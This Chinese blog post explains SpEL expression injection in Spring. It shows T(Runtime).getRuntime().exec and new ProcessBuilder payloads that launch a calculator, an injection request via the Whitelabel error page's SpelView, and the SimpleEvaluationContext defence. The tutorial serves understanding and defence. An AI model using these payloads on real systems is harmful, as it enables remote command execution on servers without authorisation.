专业的编程技术博客社区

网站首页 > 博客文章 正文

有趣的SpEL注入(有趣的工作群名称大全)

baijin 2024-09-11 00:34:46 博客文章 7 ℃ 0 评论

SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!

示例2:自定义注册加载变量的用法

public class Spel {
    public String name = "hello";
    public static void main(String[] args) {
        Spel user = new Spel();
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
        SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
        Expression expression = parser.parseExpression("#user.name");//解析表达式
        System.out.println( expression.getValue(context).toString() );//取值,输出hello
    }
}

了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload

会用到的语法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到

spel中的#操作符可以用于标记对象

RCE第一部分


第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法

01 : 调用ProcessBuilder

java代码

String[] str = new String[]{"cmd","start calc"};

ProcessBuilder p = new ProcessBuilder( str );

p.start();//打开计算器

spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行

new java.lang.ProcessBuilder(new String[]{"cmd","start calc"}).start()

完整的执行代码

String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"cmd\",\"/start calc\"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器

02 : 调用RunTime

java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例

Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"cmd","start calc"});

和上个用法略有不同解释在payload后给出

使用string参数 (java.lang包下的类不需要加全限定类名)

T(java.lang.Runtime).getRuntime().exec("cmd start calc")

字符串数组方法调用

T(Runtime).getRuntime().exec(new String[]{"cmd","start calc"})

解释: 由于RunTime类使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()操作符,T()操作符会返回一个object.

03 : 通过web请求构造字符串

通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数

post方法构造字符串


@Controller

public class TestController {

@RequestMapping("/")

public String test(String payload){

System.out.println("test");

throw new IllegalArgumentException(payload);

}

}

请求地址:

http://127.0.0.1:8181/?payload=${new%20java.lang.String(new%20byte[]{114,117,105,108,105,110})}

可以看到成功输出:

其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView

private final ErrorMvcAutoConfiguration.SpelView defaultErrorView = new ErrorMvcAutoConfiguration

.SpelView("<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>")

可以知道SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
SpelView中,首先我们可以观察到其使用了StandardEvaluationContext,用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp

04:总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如getValueStandardEvaluationContext等,当然也可以通过find-sec-bug这个插件来寻找。其防御方式是使用SimpleEvaluationContext来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表